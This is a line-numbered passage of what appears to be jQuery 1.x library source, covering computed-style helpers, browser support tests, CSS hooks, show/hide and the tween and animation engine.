3952 container.style.cssText = "position:absolute;border:0;width:0;height:0;top:0;left:-9999px";
3953 body.appendChild(container).appendChild(div);
3954 if (typeof div.style.zoom !== strundefined) {
3955 div.style.cssText = "-webkit-box-sizing:content-box;-moz-box-sizing:content-box;" + "box-sizing:content-box;display:block;margin:0;border:0;" + "padding:1px;width:1px;zoom:1";
3956 div.appendChild(document.createElement("div")).style.width = "5px";
3957 shrinkWrapBlocksVal = div.offsetWidth !== 3
3958 }
3959 body.removeChild(container);
3960 return shrinkWrapBlocksVal
3961 }
3962 })();
3963 var rmargin = (/^margin/);
3964 var rnumnonpx = new RegExp("^(" + pnum + ")(?!px)[a-z%]+$", "i");
3965 var getStyles, curCSS, rposition = /^(top|right|bottom|left)$/;
3966 if (window.getComputedStyle) {
3967 getStyles = function(elem) {
3968 if (elem.ownerDocument.defaultView.opener) {
3969 return elem.ownerDocument.defaultView.getComputedStyle(elem, null)
3970 }
3971 return window.getComputedStyle(elem, null)
3972 };
3973 curCSS = function(elem, name, computed) {
3974 var width, minWidth, maxWidth, ret, style = elem.style;
3975 computed = computed || getStyles(elem);
3976 ret = computed ? computed.getPropertyValue(name) || computed[name] : undefined;
3977 if (computed) {
3978 if (ret === "" && !jQuery.contains(elem.ownerDocument, elem)) {
3979 ret = jQuery.style(elem, name)
3980 }
3981 if (rnumnonpx.test(ret) && rmargin.test(name)) {
3982 width = style.width;
3983 minWidth = style.minWidth;
3984 maxWidth = style.maxWidth;
3985 style.minWidth = style.maxWidth = style.width = ret;
3986 ret = computed.width;
3987 style.width = width;
3988 style.minWidth = minWidth;
3989 style.maxWidth = maxWidth
3990 }
3991 }
3992 return ret === undefined ? ret : ret + ""
3993 }
3994 } else if (document.documentElement.currentStyle) {
3995 getStyles = function(elem) {
3996 return elem.currentStyle
3997 };
3998 curCSS = function(elem, name, computed) {
3999 var left, rs, rsLeft, ret, style = elem.style;
4000 computed = computed || getStyles(elem);
4001 ret = computed ? computed[name] : undefined;
4002 if (ret == null && style && style[name]) {
4003 ret = style[name]
4004 }
4005 if (rnumnonpx.test(ret) && !rposition.test(name)) {
4006 left = style.left;
4007 rs = elem.runtimeStyle;
4008 rsLeft = rs && rs.left;
4009 if (rsLeft) {
4010 rs.left = elem.currentStyle.left
4011 }
4012 style.left = name === "fontSize" ? "1em" : ret;
4013 ret = style.pixelLeft + "px";
4014 style.left = left;
4015 if (rsLeft) {
4016 rs.left = rsLeft
4017 }
4018 }
4019 return ret === undefined ? ret : ret + "" || "auto"
4020 }
4021 }
4022
4023 function addGetHookIf(conditionFn, hookFn) {
4024 return {
4025 get: function() {
4026 var condition = conditionFn();
4027 if (condition == null) {
4028 return
4029 }
4030 if (condition) {
4031 delete this.get;
4032 return
4033 }
4034 return (this.get = hookFn).apply(this, arguments)
4035 }
4036 }
4037 }(function() {
4038 var div, style, a, pixelPositionVal, boxSizingReliableVal, reliableHiddenOffsetsVal, reliableMarginRightVal;
4039 div = document.createElement("div");
4040 div.innerHTML = " <link/><table></table><a href='/a'>a</a><input type='checkbox'/>";
4041 a = div.getElementsByTagName("a")[0];
4042 style = a && a.style;
4043 if (!style) {
4044 return
4045 }
4046 style.cssText = "float:left;opacity:.5";
4047 support.opacity = style.opacity === "0.5";
4048 support.cssFloat = !!style.cssFloat;
4049 div.style.backgroundClip = "content-box";
4050 div.cloneNode(true).style.backgroundClip = "";
4051 support.clearCloneStyle = div.style.backgroundClip === "content-box";
4052 support.boxSizing = style.boxSizing === "" || style.MozBoxSizing === "" || style.WebkitBoxSizing === "";
4053 jQuery.extend(support, {
4054 reliableHiddenOffsets: function() {
4055 if (reliableHiddenOffsetsVal == null) {
4056 computeStyleTests()
4057 }
4058 return reliableHiddenOffsetsVal
4059 },
4060 boxSizingReliable: function() {
4061 if (boxSizingReliableVal == null) {
4062 computeStyleTests()
4063 }
4064 return boxSizingReliableVal
4065 },
4066 pixelPosition: function() {
4067 if (pixelPositionVal == null) {
4068 computeStyleTests()
4069 }
4070 return pixelPositionVal
4071 },
4072 reliableMarginRight: function() {
4073 if (reliableMarginRightVal == null) {
4074 computeStyleTests()
4075 }
4076 return reliableMarginRightVal
4077 }
4078 });
4079
4080 function computeStyleTests() {
4081 var div, body, container, contents;
4082 body = document.getElementsByTagName("body")[0];
4083 if (!body || !body.style) {
4084 return
4085 }
4086 div = document.createElement("div");
4087 container = document.createElement("div");
4088 container.style.cssText = "position:absolute;border:0;width:0;height:0;top:0;left:-9999px";
4089 body.appendChild(container).appendChild(div);
4090 div.style.cssText = "-webkit-box-sizing:border-box;-moz-box-sizing:border-box;" + "box-sizing:border-box;display:block;margin-top:1%;top:1%;" + "border:1px;padding:1px;width:4px;position:absolute";
4091 pixelPositionVal = boxSizingReliableVal = false;
4092 reliableMarginRightVal = true;
4093 if (window.getComputedStyle) {
4094 pixelPositionVal = (window.getComputedStyle(div, null) || {}).top !== "1%";
4095 boxSizingReliableVal = (window.getComputedStyle(div, null) || {
4096 width: "4px"
4097 }).width === "4px";
4098 contents = div.appendChild(document.createElement("div"));
4099 contents.style.cssText = div.style.cssText = "-webkit-box-sizing:content-box;-moz-box-sizing:content-box;" + "box-sizing:content-box;display:block;margin:0;border:0;padding:0";
4100 contents.style.marginRight = contents.style.width = "0";
4101 div.style.width = "1px";
4102 reliableMarginRightVal = !parseFloat((window.getComputedStyle(contents, null) || {}).marginRight);
4103 div.removeChild(contents)
4104 }
4105 div.innerHTML = "<table><tr><td></td><td>t</td></tr></table>";
4106 contents = div.getElementsByTagName("td");
4107 contents[0].style.cssText = "margin:0;border:0;padding:0;display:none";
4108 reliableHiddenOffsetsVal = contents[0].offsetHeight === 0;
4109 if (reliableHiddenOffsetsVal) {
4110 contents[0].style.display = "";
4111 contents[1].style.display = "none";
4112 reliableHiddenOffsetsVal = contents[0].offsetHeight === 0
4113 }
4114 body.removeChild(container)
4115 }
4116 })();
4117 jQuery.swap = function(elem, options, callback, args) {
4118 var ret, name, old = {};
4119 for (name in options) {
4120 old[name] = elem.style[name];
4121 elem.style[name] = options[name]
4122 }
4123 ret = callback.apply(elem, args || []);
4124 for (name in options) {
4125 elem.style[name] = old[name]
4126 }
4127 return ret
4128 };
4129 var ralpha = /alpha\([^)]*\)/i,
4130 ropacity = /opacity\s*=\s*([^)]*)/,
4131 rdisplayswap = /^(none|table(?!-c[ea]).+)/,
4132 rnumsplit = new RegExp("^(" + pnum + ")(.*)$", "i"),
4133 rrelNum = new RegExp("^([+-])=(" + pnum + ")", "i"),
4134 cssShow = {
4135 position: "absolute",
4136 visibility: "hidden",
4137 display: "block"
4138 },
4139 cssNormalTransform = {
4140 letterSpacing: "0",
4141 fontWeight: "400"
4142 },
4143 cssPrefixes = ["Webkit", "O", "Moz", "ms"];
4144
4145 function vendorPropName(style, name) {
4146 if (name in style) {
4147 return name
4148 }
4149 var capName = name.charAt(0).toUpperCase() + name.slice(1),
4150 origName = name,
4151 i = cssPrefixes.length;
4152 while (i--) {
4153 name = cssPrefixes[i] + capName;
4154 if (name in style) {
4155 return name
4156 }
4157 }
4158 return origName
4159 }
4160
4161 function showHide(elements, show) {
4162 var display, elem, hidden, values = [],
4163 index = 0,
4164 length = elements.length;
4165 for (; index < length; index++) {
4166 elem = elements[index];
4167 if (!elem.style) {
4168 continue
4169 }
4170 values[index] = jQuery._data(elem, "olddisplay");
4171 display = elem.style.display;
4172 if (show) {
4173 if (!values[index] && display === "none") {
4174 elem.style.display = ""
4175 }
4176 if (elem.style.display === "" && isHidden(elem)) {
4177 values[index] = jQuery._data(elem, "olddisplay", defaultDisplay(elem.nodeName))
4178 }
4179 } else {
4180 hidden = isHidden(elem);
4181 if (display && display !== "none" || !hidden) {
4182 jQuery._data(elem, "olddisplay", hidden ? display : jQuery.css(elem, "display"))
4183 }
4184 }
4185 }
4186 for (index = 0; index < length; index++) {
4187 elem = elements[index];
4188 if (!elem.style) {
4189 continue
4190 }
4191 if (!show || elem.style.display === "none" || elem.style.display === "") {
4192 elem.style.display = show ? values[index] || "" : "none"
4193 }
4194 }
4195 return elements
4196 }
4197
4198 function setPositiveNumber(elem, value, subtract) {
4199 var matches = rnumsplit.exec(value);
4200 return matches ? Math.max(0, matches[1] - (subtract || 0)) + (matches[2] || "px") : value
4201 }
4202
4203 function augmentWidthOrHeight(elem, name, extra, isBorderBox, styles) {
4204 var i = extra === (isBorderBox ? "border" : "content") ? 4 : name === "width" ? 1 : 0,
4205 val = 0;
4206 for (; i < 4; i += 2) {
4207 if (extra === "margin") {
4208 val += jQuery.css(elem, extra + cssExpand[i], true, styles)
4209 }
4210 if (isBorderBox) {
4211 if (extra === "content") {
4212 val -= jQuery.css(elem, "padding" + cssExpand[i], true, styles)
4213 }
4214 if (extra !== "margin") {
4215 val -= jQuery.css(elem, "border" + cssExpand[i] + "Width", true, styles)
4216 }
4217 } else {
4218 val += jQuery.css(elem, "padding" + cssExpand[i], true, styles);
4219 if (extra !== "padding") {
4220 val += jQuery.css(elem, "border" + cssExpand[i] + "Width", true, styles)
4221 }
4222 }
4223 }
4224 return val
4225 }
4226
4227 function getWidthOrHeight(elem, name, extra) {
4228 var valueIsBorderBox = true,
4229 val = name === "width" ? elem.offsetWidth : elem.offsetHeight,
4230 styles = getStyles(elem),
4231 isBorderBox = support.boxSizing && jQuery.css(elem, "boxSizing", false, styles) === "border-box";
4232 if (val <= 0 || val == null) {
4233 val = curCSS(elem, name, styles);
4234 if (val < 0 || val == null) {
4235 val = elem.style[name]
4236 }
4237 if (rnumnonpx.test(val)) {
4238 return val
4239 }
4240 valueIsBorderBox = isBorderBox && (support.boxSizingReliable() || val === elem.style[name]);
4241 val = parseFloat(val) || 0
4242 }
4243 return (val + augmentWidthOrHeight(elem, name, extra || (isBorderBox ? "border" : "content"), valueIsBorderBox, styles)) + "px"
4244 }
4245 jQuery.extend({
4246 cssHooks: {
4247 opacity: {
4248 get: function(elem, computed) {
4249 if (computed) {
4250 var ret = curCSS(elem, "opacity");
4251 return ret === "" ? "1" : ret
4252 }
4253 }
4254 }
4255 },
4256 cssNumber: {
4257 "columnCount": true,
4258 "fillOpacity": true,
4259 "flexGrow": true,
4260 "flexShrink": true,
4261 "fontWeight": true,
4262 "lineHeight": true,
4263 "opacity": true,
4264 "order": true,
4265 "orphans": true,
4266 "widows": true,
4267 "zIndex": true,
4268 "zoom": true
4269 },
4270 cssProps: {
4271 "float": support.cssFloat ? "cssFloat" : "styleFloat"
4272 },
4273 style: function(elem, name, value, extra) {
4274 if (!elem || elem.nodeType === 3 || elem.nodeType === 8 || !elem.style) {
4275 return
4276 }
4277 var ret, type, hooks, origName = jQuery.camelCase(name),
4278 style = elem.style;
4279 name = jQuery.cssProps[origName] || (jQuery.cssProps[origName] = vendorPropName(style, origName));
4280 hooks = jQuery.cssHooks[name] || jQuery.cssHooks[origName];
4281 if (value !== undefined) {
4282 type = typeof value;
4283 if (type === "string" && (ret = rrelNum.exec(value))) {
4284 value = (ret[1] + 1) * ret[2] + parseFloat(jQuery.css(elem, name));
4285 type = "number"
4286 }
4287 if (value == null || value !== value) {
4288 return
4289 }
4290 if (type === "number" && !jQuery.cssNumber[origName]) {
4291 value += "px"
4292 }
4293 if (!support.clearCloneStyle && value === "" && name.indexOf("background") === 0) {
4294 style[name] = "inherit"
4295 }
4296 if (!hooks || !("set" in hooks) || (value = hooks.set(elem, value, extra)) !== undefined) {
4297 try {
4298 style[name] = value
4299 } catch (e) {}
4300 }
4301 } else {
4302 if (hooks && "get" in hooks && (ret = hooks.get(elem, false, extra)) !== undefined) {
4303 return ret
4304 }
4305 return style[name]
4306 }
4307 },
4308 css: function(elem, name, extra, styles) {
4309 var num, val, hooks, origName = jQuery.camelCase(name);
4310 name = jQuery.cssProps[origName] || (jQuery.cssProps[origName] = vendorPropName(elem.style, origName));
4311 hooks = jQuery.cssHooks[name] || jQuery.cssHooks[origName];
4312 if (hooks && "get" in hooks) {
4313 val = hooks.get(elem, true, extra)
4314 }
4315 if (val === undefined) {
4316 val = curCSS(elem, name, styles)
4317 }
4318 if (val === "normal" && name in cssNormalTransform) {
4319 val = cssNormalTransform[name]
4320 }
4321 if (extra === "" || extra) {
4322 num = parseFloat(val);
4323 return extra === true || jQuery.isNumeric(num) ? num || 0 : val
4324 }
4325 return val
4326 }
4327 });
4328 jQuery.each(["height", "width"], function(i, name) {
4329 jQuery.cssHooks[name] = {
4330 get: function(elem, computed, extra) {
4331 if (computed) {
4332 return rdisplayswap.test(jQuery.css(elem, "display")) && elem.offsetWidth === 0 ? jQuery.swap(elem, cssShow, function() {
4333 return getWidthOrHeight(elem, name, extra)
4334 }) : getWidthOrHeight(elem, name, extra)
4335 }
4336 },
4337 set: function(elem, value, extra) {
4338 var styles = extra && getStyles(elem);
4339 return setPositiveNumber(elem, value, extra ? augmentWidthOrHeight(elem, name, extra, support.boxSizing && jQuery.css(elem, "boxSizing", false, styles) === "border-box", styles) : 0)
4340 }
4341 }
4342 });
4343 if (!support.opacity) {
4344 jQuery.cssHooks.opacity = {
4345 get: function(elem, computed) {
4346 return ropacity.test((computed && elem.currentStyle ? elem.currentStyle.filter : elem.style.filter) || "") ? (0.01 * parseFloat(RegExp.$1)) + "" : computed ? "1" : ""
4347 },
4348 set: function(elem, value) {
4349 var style = elem.style,
4350 currentStyle = elem.currentStyle,
4351 opacity = jQuery.isNumeric(value) ? "alpha(opacity=" + value * 100 + ")" : "",
4352 filter = currentStyle && currentStyle.filter || style.filter || "";
4353 style.zoom = 1;
4354 if ((value >= 1 || value === "") && jQuery.trim(filter.replace(ralpha, "")) === "" && style.removeAttribute) {
4355 style.removeAttribute("filter");
4356 if (value === "" || currentStyle && !currentStyle.filter) {
4357 return
4358 }
4359 }
4360 style.filter = ralpha.test(filter) ? filter.replace(ralpha, opacity) : filter + " " + opacity
4361 }
4362 }
4363 }
4364 jQuery.cssHooks.marginRight = addGetHookIf(support.reliableMarginRight, function(elem, computed) {
4365 if (computed) {
4366 return jQuery.swap(elem, {
4367 "display": "inline-block"
4368 }, curCSS, [elem, "marginRight"])
4369 }
4370 });
4371 jQuery.each({
4372 margin: "",
4373 padding: "",
4374 border: "Width"
4375 }, function(prefix, suffix) {
4376 jQuery.cssHooks[prefix + suffix] = {
4377 expand: function(value) {
4378 var i = 0,
4379 expanded = {},
4380 parts = typeof value === "string" ? value.split(" ") : [value];
4381 for (; i < 4; i++) {
4382 expanded[prefix + cssExpand[i] + suffix] = parts[i] || parts[i - 2] || parts[0]
4383 }
4384 return expanded
4385 }
4386 };
4387 if (!rmargin.test(prefix)) {
4388 jQuery.cssHooks[prefix + suffix].set = setPositiveNumber
4389 }
4390 });
4391 jQuery.fn.extend({
4392 css: function(name, value) {
4393 return access(this, function(elem, name, value) {
4394 var styles, len, map = {},
4395 i = 0;
4396 if (jQuery.isArray(name)) {
4397 styles = getStyles(elem);
4398 len = name.length;
4399 for (; i < len; i++) {
4400 map[name[i]] = jQuery.css(elem, name[i], false, styles)
4401 }
4402 return map
4403 }
4404 return value !== undefined ? jQuery.style(elem, name, value) : jQuery.css(elem, name)
4405 }, name, value, arguments.length > 1)
4406 },
4407 show: function() {
4408 return showHide(this, true)
4409 },
4410 hide: function() {
4411 return showHide(this)
4412 },
4413 toggle: function(state) {
4414 if (typeof state === "boolean") {
4415 return state ? this.show() : this.hide()
4416 }
4417 return this.each(function() {
4418 if (isHidden(this)) {
4419 jQuery(this).show()
4420 } else {
4421 jQuery(this).hide()
4422 }
4423 })
4424 }
4425 });
4426
4427 function Tween(elem, options, prop, end, easing) {
4428 return new Tween.prototype.init(elem, options, prop, end, easing)
4429 }
4430 jQuery.Tween = Tween;
4431 Tween.prototype = {
4432 constructor: Tween,
4433 init: function(elem, options, prop, end, easing, unit) {
4434 this.elem = elem;
4435 this.prop = prop;
4436 this.easing = easing || "swing";
4437 this.options = options;
4438 this.start = this.now = this.cur();
4439 this.end = end;
4440 this.unit = unit || (jQuery.cssNumber[prop] ? "" : "px")
4441 },
4442 cur: function() {
4443 var hooks = Tween.propHooks[this.prop];
4444 return hooks && hooks.get ? hooks.get(this) : Tween.propHooks._default.get(this)
4445 },
4446 run: function(percent) {
4447 var eased, hooks = Tween.propHooks[this.prop];
4448 if (this.options.duration) {
4449 this.pos = eased = jQuery.easing[this.easing](percent, this.options.duration * percent, 0, 1, this.options.duration)
4450 } else {
4451 this.pos = eased = percent
4452 }
4453 this.now = (this.end - this.start) * eased + this.start;
4454 if (this.options.step) {
4455 this.options.step.call(this.elem, this.now, this)
4456 }
4457 if (hooks && hooks.set) {
4458 hooks.set(this)
4459 } else {
4460 Tween.propHooks._default.set(this)
4461 }
4462 return this
4463 }
4464 };
4465 Tween.prototype.init.prototype = Tween.prototype;
4466 Tween.propHooks = {
4467 _default: {
4468 get: function(tween) {
4469 var result;
4470 if (tween.elem[tween.prop] != null && (!tween.elem.style || tween.elem.style[tween.prop] == null)) {
4471 return tween.elem[tween.prop]
4472 }
4473 result = jQuery.css(tween.elem, tween.prop, "");
4474 return !result || result === "auto" ? 0 : result
4475 },
4476 set: function(tween) {
4477 if (jQuery.fx.step[tween.prop]) {
4478 jQuery.fx.step[tween.prop](tween)
4479 } else if (tween.elem.style && (tween.elem.style[jQuery.cssProps[tween.prop]] != null || jQuery.cssHooks[tween.prop])) {
4480 jQuery.style(tween.elem, tween.prop, tween.now + tween.unit)
4481 } else {
4482 tween.elem[tween.prop] = tween.now
4483 }
4484 }
4485 }
4486 };
4487 Tween.propHooks.scrollTop = Tween.propHooks.scrollLeft = {
4488 set: function(tween) {
4489 if (tween.elem.nodeType && tween.elem.parentNode) {
4490 tween.elem[tween.prop] = tween.now
4491 }
4492 }
4493 };
4494 jQuery.easing = {
4495 linear: function(p) {
4496 return p
4497 },
4498 swing: function(p) {
4499 return 0.5 - Math.cos(p * Math.PI) / 2
4500 }
4501 };
4502 jQuery.fx = Tween.prototype.init;
4503 jQuery.fx.step = {};
4504 var fxNow, timerId, rfxtypes = /^(?:toggle|show|hide)$/,
4505 rfxnum = new RegExp("^(?:([+-])=|)(" + pnum + ")([a-z%]*)$", "i"),
4506 rrun = /queueHooks$/,
4507 animationPrefilters = [defaultPrefilter],
4508 tweeners = {
4509 "*": [function(prop, value) {
4510 var tween = this.createTween(prop, value),
4511 target = tween.cur(),
4512 parts = rfxnum.exec(value),
4513 unit = parts && parts[3] || (jQuery.cssNumber[prop] ? "" : "px"),
4514 start = (jQuery.cssNumber[prop] || unit !== "px" && +target) && rfxnum.exec(jQuery.css(tween.elem, prop)),
4515 scale = 1,
4516 maxIterations = 20;
4517 if (start && start[3] !== unit) {
4518 unit = unit || start[3];
4519 parts = parts || [];
4520 start = +target || 1;
4521 do {
4522 scale = scale || ".5";
4523 start = start / scale;
4524 jQuery.style(tween.elem, prop, start + unit)
4525 } while (scale !== (scale = tween.cur() / target) && scale !== 1 && --maxIterations)
4526 }
4527 if (parts) {
4528 start = tween.start = +start || +target || 0;
4529 tween.unit = unit;
4530 tween.end = parts[1] ? start + (parts[1] + 1) * parts[2] : +parts[2]
4531 }
4532 return tween
4533 }]
4534 };
4535
4536 function createFxNow() {
4537 setTimeout(function() {
4538 fxNow = undefined
4539 });
4540 return (fxNow = jQuery.now())
4541 }
4542
4543 function genFx(type, includeWidth) {
4544 var which, attrs = {
4545 height: type
4546 },
4547 i = 0;
4548 includeWidth = includeWidth ? 1 : 0;
4549 for (; i < 4; i += 2 - includeWidth) {
4550 which = cssExpand[i];
4551 attrs["margin" + which] = attrs["padding" + which] = type
4552 }
4553 if (includeWidth) {
4554 attrs.opacity = attrs.width = type
4555 }
4556 return attrs
4557 }
4558
4559 function createTween(value, prop, animation) {
4560 var tween, collection = (tweeners[prop] || []).concat(tweeners["*"]),
4561 index = 0,
4562 length = collection.length;
4563 for (; index < length; index++) {
4564 if ((tween = collection[index].call(animation, prop, value))) {
4565 return tween
4566 }
4567 }
4568 }
4569
4570 function defaultPrefilter(elem, props, opts) {
4571 var prop, value, toggle, tween, hooks, oldfire, display, checkDisplay, anim = this,
4572 orig = {},
4573 style = elem.style,
4574 hidden = elem.nodeType && isHidden(elem),
4575 dataShow = jQuery._data(elem, "fxshow");
4576 if (!opts.queue) {
4577 hooks = jQuery._queueHooks(elem, "fx");
4578 if (hooks.unqueued == null) {
4579 hooks.unqueued = 0;
4580 oldfire = hooks.empty.fire;
4581 hooks.empty.fire = function() {
4582 if (!hooks.unqueued) {
4583 oldfire()
4584 }
4585 }
4586 }
4587 hooks.unqueued++;
4588 anim.always(function() {
4589 anim.always(function() {
4590 hooks.unqueued--;
4591 if (!jQuery.queue(elem, "fx").length) {
4592 hooks.empty.fire()
4593 }
4594 })
4595 })
4596 }
4597 if (elem.nodeType === 1 && ("height" in props || "width" in props)) {
4598 opts.overflow = [style.overflow, style.overflowX, style.overflowY];
4599 display = jQuery.css(elem, "display");
4600 checkDisplay = display === "none" ? jQuery._data(elem, "olddisplay") || defaultDisplay(elem.nodeName) : display;
4601 if (checkDisplay === "inline" && jQuery.css(elem, "float") === "none") {
4602 if (!support.inlineBlockNeedsLayout || defaultDisplay(elem.nodeName) === "inline") {
4603 style.display = "inline-block"
4604 } else {
4605 style.zoom = 1
4606 }
4607 }
4608 }
4609 if (opts.overflow) {
4610 style.overflow = "hidden";
4611 if (!support.shrinkWrapBlocks()) {
4612 anim.always(function() {
4613 style.overflow = opts.overflow[0];
4614 style.overflowX = opts.overflow[1];
4615 style.overflowY = opts.overflow[2]
4616 })
4617 }
4618 }
4619 for (prop in props) {
4620 value = props[prop];
4621 if (rfxtypes.exec(value)) {
4622 delete props[prop];
4623 toggle = toggle || value === "toggle";
4624 if (value === (hidden ? "hide" : "show")) {
4625 if (value === "show" && dataShow && dataShow[prop] !== undefined) {
4626 hidden = true
4627 } else {
4628 continue
4629 }
4630 }
4631 orig[prop] = dataShow && dataShow[prop] || jQuery.style(elem, prop)
4632 } else {
4633 display = undefined
4634 }
4635 }
4636 if (!jQuery.isEmptyObject(orig)) {
4637 if (dataShow) {
4638 if ("hidden" in dataShow) {
4639 hidden = dataShow.hidden
4640 }
4641 } else {
4642 dataShow = jQuery._data(elem, "fxshow", {})
4643 }
4644 if (toggle) {
4645 dataShow.hidden = !hidden
4646 }
4647 if (hidden) {
4648 jQuery(elem).show()
4649 } else {
4650 anim.done(function() {
4651 jQuery(elem).hide()
4652 })
4653 }
4654 anim.done(function() {
4655 var prop;
4656 jQuery._removeData(elem, "fxshow");
4657 for (prop in orig) {
4658 jQuery.style(elem, prop, orig[prop])
4659 }
4660 });
4661 for (prop in orig) {
4662 tween = createTween(hidden ? dataShow[prop] : 0, prop, anim);
4663 if (!(prop in dataShow)) {
4664 dataShow[prop] = tween.start;
4665 if (hidden) {
4666 tween.end = tween.start;
4667 tween.start = prop === "width" || prop === "height" ? 1 : 0
4668 }
4669 }
4670 }
4671 } else if ((display === "none" ? defaultDisplay(elem.nodeName) : display) === "inline") {
4672 style.display = display
4673 }
4674 }
4675
4676 function propFilter(props, specialEasing) {
4677 var index, name, easing, value, hooks;
4678 for (index in props) {
4679 name = jQuery.camelCase(index);
4680 easing = specialEasing[name];
4681 value = props[index];
4682 if (jQuery.isArray(value)) {
4683 easing = value[1];
4684 value = props[index] = value[0]
4685 }
4686 if (index !== name) {
4687 props[name] = value;
4688 delete props[index]
4689 }
4690 hooks = jQuery.cssHooks[name];
4691 if (hooks && "expand" in hooks) {
4692 value = hooks.expand(value);
4693 delete props[name];
4694 for (index in value) {
4695 if (!(index in props)) {
4696 props[index] = value[index];
4697 specialEasing[index] = easing
4698 }
4699 }
4700 } else {
4701 specialEasing[name] = easing
4702 }
4703 }
4704 }
4705
4706 function Animation(elem, properties, options) {
4707 var result, stopped, index = 0,
4708 length = animationPrefilters.length,
4709 deferred = jQuery.Deferred().always(function() {
4710 delete tick.elem
4711 }),
4712 tick = function() {
4713 if (stopped) {
4714 return false
4715 }
4716 var currentTime = fxNow || createFxNow(),
4717 remaining = Math.max(0, animation.startTime + animation.duration - currentTime),
4718 temp = remaining / animation.duration || 0,
4719 percent = 1 - temp,
4720 index = 0,
4721 length = animation.tweens.length;
4722 for (; index < length; index++) {
4723 animation.tweens[index].run(percent)
4724 }
4725 deferred.notifyWith(elem, [animation, percent, remaining]);
4726 if (percent < 1 && length) {
4727 return remaining
4728 } else {
4729 deferred.resolveWith(elem, [animation]);
4730 return false
4731 }
4732 },
4733 animation = deferred.promise({
4734 elem: elem,
4735 props: jQuery.extend({}, properties),
4736 opts: jQuery.extend(true, {
4737 specialEasing: {}
4738 }, options),
4739 originalProperties: properties,
4740 originalOptions: options,
4741 startTime: fxNow || createFxNow(),
4742 duration: options.duration,
4743 tweens: [],
4744 createTween: function(prop, end) {
4745 var tween = jQuery.Tween(elem, animation.opts, prop, end, animation.opts.specialEasing[prop] || animation.opts.easing);
4746 animation.tweens.push(tween);
4747 return tween
4748 },
4749 stop: function(gotoEnd) {
4750 var index = 0,
4751 length = gotoEnd ? animation.tweens.length : 0;
4752 if (stopped) {
4753 return this
4754 }
4755 stopped = true;
4756 for (; index < length; index++) {
4757 animation.tweens[index].run(1)
4758 }
4759 if (gotoEnd) {
4760 deferred.resolveWith(elem, [animation, gotoEnd])
4761 } else {
4762 deferred.rejectWith(elem, [animation, gotoEnd])
4763 }
4764 return this
4765 }
4766 }),
4767 props = animation.props;
4768 propFilter(props, animation.opts.specialEasing);
4769 for (; index < length; index++) {
4770 result = animationPrefilters[index].call(animation, elem, props, animation.opts);
4771 if (result) {
4772 return result
4773 }
4774 }
4775 jQuery.map(props, createTween, animation);
4776 if (jQuery.isFunction(animation.opts.start)) {
4777 animation.opts.start.call(elem, animation)
4778 }
4779 jQuery.fx.timer(jQuery.extend(tick, {
4780 elem: elem,
4781 anim: animation,
4782 queue: animation.opts.queue
4783 }));
4784 return animation.progress(animation.opts.progress).done(animation.opts.done, animation.opts.complete).fail(animation.opts.fail).always(animation.opts.always)
4785 }
4786 jQuery.Animation = jQuery.extend(Animation, {
4787 tweener: function(props, callback) {
4788 if (jQuery.isFunction(props)) {
4789 callback = props;
4790 props = ["*"]
4791 } else {
4792 props = props.split(" ")
4793 }
4794 var prop, index = 0,
4795 length = props.length;
4796 for (; index < length; index++) {
4797 prop = props[index];
4798 tweeners[prop] = tweeners[prop] || [];
4799 tweeners[prop].unshift(callback)
4800 }
4801 },
4802 prefilter: function(callback, prepend) {
4803 if (prepend) {
4804 animationPrefilters.unshift(callback)
4805 } else {
4806 animationPrefilters.push(callback)
4807 }
4808 }
4809 });
4810 jQuery.speed = function(speed, easing, fn) {
4811 var opt = speed && typeof speed === "object" ? jQuery.extend({}, speed) : {
4812 complete: fn || !fn && easing || jQuery.isFunction(speed) && speed,
4813 duration: speed,
4814 easing: fn && easing || easing && !jQuery.isFunction(easing) && easing
4815 };
4816 opt.duration = jQuery.fx.off ? 0 : typeof opt.duration === "number" ? opt.duration : opt.duration in jQuery.fx.speeds ? jQuery.fx.speeds[opt.duration] : jQuery.fx.speeds._default;
4817 if (opt.queue == null || opt.queue === true) {
4818 opt.queue = "fx"
4819 }
4820 opt.old = opt.complete;
4821 opt.complete = function() {
4822 if (jQuery.isFunction(opt.old)) {
4823 opt.old.call(this)
4824 }
4825 if (opt.queue) {
4826 jQuery.dequeue(this, opt.queue)
4827 }
4828 };
4829 return opt
4830 };
4831 jQuery.fn.extend({
4832 fadeTo: function(speed, to, easing, callback) {
4833 return this.filter(isHidden).css("opacity", 0).show().end().animate({
4834 opacity: to
4835 }, speed, easing, callback)
4836 },
4837 animate: function(prop, speed, easing, callback) {
4838 var empty = jQuery.isEmptyObject(prop),
4839 optall = jQuery.speed(speed, easing, callback),
4840 doAnimation = function() {
4841 var anim = Animation(this, jQuery.extend({}, prop), optall);
4842 if (empty || jQuery._data(this, "finish")) {
4843 anim.stop(true)
4844 }
4845 };
4846 doAnimation.finish = doAnimation;
4847 return empty || optall.queue === false ? this.each(doAnimation) : this.queue(optall.queue, doAnimation)
4848 },
4849 stop: function(type, clearQueue, gotoEnd) {
4850 var stopQueue = function(hooks) {
4851 var stop = hooks.stop;
4852 delete hooks.stop;
4853 stop(gotoEnd)
4854 };
4855 if (typeof type !== "string") {
4856 gotoEnd = clearQueue;
4857 clearQueue = type;
4858 type = undefined
4859 }
4860 if (clearQueue && type !== false) {
4861 this.queue(type || "fx", [])
4862 }
4863 return this.each(function() {
4864 var dequeue = true,
4865 index = type != null && type + "queueHooks",
4866 timers = jQuery.timers,
4867 data = jQuery._data(this);
4868 if (index) {
4869 if (data[index] && data[index].stop) {
4870 stopQueue(data[index])
4871 }
4872 } else {
4873 for (index in data) {
4874 if (data[index] && data[index].stop && rrun.test(index)) {
4875 stopQueue(data[index])
4876 }
4877 }
4878 }
4879 for (index = timers.length; index--;) {
4880 if (timers[index].elem === this && (type == null || timers[index].queue === type)) {
4881 timers[index].anim.stop(gotoEnd);
4882 dequeue = false;
4883 timers.splice(index, 1)
4884 }
4885 }
4886 if (dequeue || !gotoEnd) {
4887 jQuery.dequeue(this, type)
4888 }
4889 })
4890 },
4891 finish: function(type) {
4892 if (type !== false) {
4893 type = type || "fx"
4894 }
4895 return this.each(function() {
4896 var index, data = jQuery._data(this),
4897 queue = data[type + "queue"],
4898 hooks = data[type + "queueHooks"],
4899 timers = jQuery.timers,
4900 length = queue ? queue.length : 0;
4901 data.finish = true;
4902 jQuery.queue(this, type, []);
4903 if (hooks && hooks.stop) {
4904 hooks.stop.call(this, true)
4905 }
4906 for (index = timers.length; index--;) {
4907 if (timers[index].elem === this && timers[index].queue === type) {
4908 timers[index].anim.stop(true);
4909 timers.splice(index, 1)
4910 }
4911 }
4912 for (index = 0; index < length; index++) {
